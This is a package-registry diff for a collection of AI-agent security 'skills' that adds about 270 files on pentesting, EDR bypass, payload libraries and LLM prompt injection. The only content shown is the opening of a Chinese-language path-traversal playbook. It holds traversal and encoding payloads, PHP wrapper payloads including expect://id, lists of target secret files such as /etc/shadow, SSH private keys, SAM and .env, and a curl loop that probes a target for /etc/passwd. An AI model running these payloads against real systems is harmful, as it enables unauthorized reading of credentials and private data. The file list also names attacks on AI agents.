opencode-skills-collection 4.0.43 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,1297 @@
1
+ # 路径遍历 / 任意文件读 / 任意文件删
2
+
3
+ > 视角:黑盒,目标是读到不该读的文件 / 删到不该删的文件
4
+
5
+ ## 1. 一句话说清
6
+
7
+ 路径遍历 = 用户控制的文件路径绕过应用的"目录边界"。
8
+ 最经典:`?file=../../etc/passwd`。
9
+ SRC 价值:能读 = P1,读到配置 → DB 密码 → P0;任意文件删 = P0(**易遗漏**)。
10
+
11
+ ---
12
+
13
+ ## 2. 高频入口点
14
+
15
+ ### 2.1 高危参数名(按 wooyun 案例频次)
16
+
17
+ | 参数 | 出现次数 | 典型场景 |
18
+ |------|---------|---------|
19
+ | `filename` | 63 | 文件下载 / 附件 |
20
+ | `filepath` | 30 | 路径指定 |
21
+ | `path` | 20 | 通用路径 |
22
+ | `hdfile` | 14 | 特定 CMS |
23
+ | `inputFile` | 9 | Resin / Java |
24
+ | `file` | 7 | 通用 |
25
+ | `url` | 4 | SSRF / 文件读复合 |
26
+ | `filePath` | 4 | Java 驼峰 |
27
+ | `FileUrl` | 3 | ASP.NET |
28
+ | `XFileName` | 3 | 特定 CMS |
29
+
30
+ ### 2.2 参数命名规律
31
+
32
+ ```
33
+ 通用:file, path, name, url, src, dir, folder
34
+ 下载:download, down, attachment, attach, doc
35
+ 读取:read, load, get, fetch, open, input
36
+ 文件:filename, filepath, fname, fn, resource
37
+ 模板:template, tpl, page, include, temp
38
+ ```
39
+
40
+ 复合参数:
41
+ ```
42
+ ?path=xxx&name=xxx
43
+ ?filePath=xxx&fileName=xxx
44
+ ?FileUrl=xxx&FileName=xxx
45
+ ?file=xxx&showname=xxx
46
+ ```
47
+
48
+ ### 2.3 高频漏洞端点 TOP
49
+
50
+ ```
51
+ down.php (20 次)
52
+ download.jsp (17 次)
53
+ download.asp (13 次)
54
+ download.php (7 次)
55
+ download.ashx (7 次)
56
+ viewsharenetdisk.php (6 次)
57
+ GetPage.ashx (6 次)
58
+ pic.php (4 次)
59
+ openfile.asp (4 次)
60
+ do_download.jsp (8 次)
61
+ ```
62
+
63
+ ---
64
+
65
+ ## 3. 探测手法
66
+
67
+ ### 3.1 基础遍历序列
68
+
69
+ ```
70
+ ../
71
+ ../../
72
+ ../../../
73
+ ../../../../
74
+ ../../../../../
75
+ ../../../../../../
76
+ ```
77
+
78
+ ### 3.2 编码梯度(顺序尝试)
79
+
80
+ ```
81
+ ../ → %2e%2e%2f
82
+ ../ → %252e%252e%252f # 双重 URL 编码
83
+ ../ → ..%c0%af / ..%c1%9c # 超长 UTF-8(Tomcat / GlassFish)
84
+ ../ → %u002e%u002e%u2215 # 16-bit Unicode(IIS / 旧 Java)
85
+ ../ → ....// / ..../ # 过滤器删一次后剩 ../
86
+ ../ → ..%2f%2e / %2e%2e/ # 混合
87
+ ```
88
+
89
+ ### 3.3 截断 / 协议
90
+
91
+ ```
92
+ %00 ../../../etc/passwd%00.jpg # PHP <5.3.4 / 旧 Java
93
+ ; /admin;.jpg # IIS / Tomcat
94
+ file:// file:///etc/passwd
95
+ view-source: view-source:file:///etc/passwd
96
+ php://filter php://filter/convert.base64-encode/resource=index.php
97
+ zip:// zip://archive.zip%23shell.php
98
+ data:// data://text/plain,<?php phpinfo();?>
99
+ expect:// expect://id
100
+ ```
101
+
102
+ ### 3.4 路径正则化绕过
103
+
104
+ ```
105
+ ....// # 双点斜杠
106
+ ..../ # 多点
107
+ ..\..\ # 反斜杠
108
+ ..\../ # 混合
109
+ /./ # 冗余
110
+ // # 双斜杠
111
+ /;/ # 分号路径段
112
+ ```
113
+
114
+ ### 3.5 Base64 / Hex 绕过
115
+
116
+ ```
117
+ # Winmail 案例
118
+ ?filename=Li4vLi4vLi4vLi4vLi4vLi4vd2luZG93cy93aW4uaW5p
119
+ (base64 解码 = ../../../../../../windows/win.ini)
120
+
121
+ # 淘客帝国 CMS
122
+ ?url=cGljLnBocA==
123
+ (base64 = pic.php)
124
+ ```
125
+
126
+ ### 3.6 敏感文件目标库
127
+
128
+ #### Linux
129
+
130
+ ```
131
+ # 系统账户
132
+ /etc/passwd /etc/shadow
133
+ /etc/hosts /etc/group
134
+ /etc/sudoers /etc/issue
135
+
136
+ # SSH
137
+ /root/.ssh/authorized_keys /root/.ssh/id_rsa
138
+ /home/{user}/.ssh/authorized_keys
139
+ /home/{user}/.ssh/id_rsa
140
+
141
+ # 历史 / 进程(信息金矿)
142
+ /root/.bash_history
143
+ /home/{user}/.bash_history
144
+ /proc/self/environ # 含进程启动环境变量(含 secret)
145
+ /proc/self/cmdline
146
+ /proc/self/fd/{n}
147
+ /proc/version /proc/cpuinfo
148
+ /proc/{pid}/environ
149
+
150
+ # Web 配置
151
+ /etc/nginx/nginx.conf
152
+ /etc/httpd/conf/httpd.conf
153
+ /etc/apache2/apache2.conf
154
+ /etc/my.cnf /etc/mysql/my.cnf
155
+ ```
156
+
157
+ #### Windows
158
+
159
+ ```
160
+ C:\windows\win.ini C:\boot.ini
161
+ C:\windows\system32\config\sam
162
+ C:\windows\repair\sam
163
+ C:\inetpub\wwwroot\web.config
164
+ C:\windows\system32\inetsrv\config\applicationHost.config
165
+ C:\windows\system32\drivers\etc\hosts
166
+ ```
167
+
168
+ #### Java Web
169
+
170
+ ```
171
+ /WEB-INF/web.xml
172
+ /WEB-INF/classes/jdbc.properties
173
+ /WEB-INF/classes/database.properties
174
+ /WEB-INF/classes/applicationContext.xml
175
+ /WEB-INF/classes/hibernate.cfg.xml
176
+ /WEB-INF/classes/application.yml
177
+ ../WEB-INF/web.xml
178
+ ../../WEB-INF/web.xml
179
+ /../WEB-INF/web.xml%3f
180
+ ```
181
+
182
+ #### PHP / 框架
183
+
184
+ ```
185
+ /config.php /config.inc.php
186
+ /db.php /database.php
187
+ /conn.php /common.php
188
+ /wp-config.php # WordPress
189
+ /config_global.php # Discuz
190
+ /config_ucenter.php # Discuz UCenter
191
+ /application/config/database.php # CodeIgniter
192
+ /config/database.php # Laravel
193
+ /.env /.env.production
194
+ ```
195
+
196
+ #### .NET
197
+
198
+ ```
199
+ /web.config
200
+ /connectionStrings.config
201
+ /App_Data/database.mdf
202
+ ```
203
+
204
+ ### 3.7 探针策略
205
+
206
+ ```bash
207
+ # 标准 8-12 层 ../
208
+ for i in 1 2 3 4 5 6 7 8 9 10; do
209
+ prefix=$(printf '../%.0s' $(seq 1 $i))
210
+ curl -s "https://target/down.php?file=${prefix}etc/passwd" \
211
+ | grep -q "root:" && echo "Hit: $i levels"
212
+ done
213
+
214
+ # 编码递增
215
+ for enc in "../" "..%2f" "%2e%2e%2f" "%252e%252e%252f" "..%c0%af" "....//"; do
216
+ curl -s "https://target/down.php?file=${enc}${enc}${enc}etc/passwd"
217
+ done
218
+
219
+ # Java Web 模式
220
+ curl "https://target/download.jsp?path=../WEB-INF/web.xml"
221
+ curl "https://target/download.aspx?file=../web.config"
222
+ ```
223
+
224
+ ---
225
+
226
+ ## 4. Bypass 矩阵
227
+
228
